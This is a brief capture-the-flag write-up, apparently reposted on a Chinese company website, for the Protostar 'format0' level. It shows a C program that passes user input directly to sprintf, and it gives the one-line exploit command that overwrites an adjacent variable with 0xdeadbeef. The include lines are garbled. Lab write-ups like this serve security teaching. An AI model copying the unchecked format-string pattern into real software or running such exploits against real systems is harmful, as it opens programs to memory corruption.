135-1821-9792

Protostarformat0

About

This level introduces format strings, and how attacker supplied format strings can modify the execution flow of programs.
Hints:
  • This level should be done in less than 10 bytes of input.
  • "Exploiting format string vulnerabilities"
This level is at /opt/protostar/bin/format0
#include #include #include #include
void vuln(char *string)
{
volatile int target;
char buffer[64];

target = 0;

sprintf(buffer, string);

if(target == 0xdeadbeef) {
    printf("you have hit the target correctly :)\n");
}
}

int main(int argc, char **argv)
{
vuln(argv[1]);
}

格式化字符串热身题,只需要将target部分覆盖也\xdeadbeef即可。因为在定义时,target和buffer是连着的,因此在内存的位置也是一起的。故可得:

user@protostar:/opt/protostar/bin$ ./format0 $(python -c 'print "a"*64+"\xef\xbe\xad\xde"')
you have hit the target correctly :)


分享名称:Protostarformat0
标题网址:http://kswsj.com/article/jihsdd.html

其他资讯



Copyright © 2009-2022 www.kswsj.com 成都快上网科技有限公司 版权所有 蜀ICP备19037934号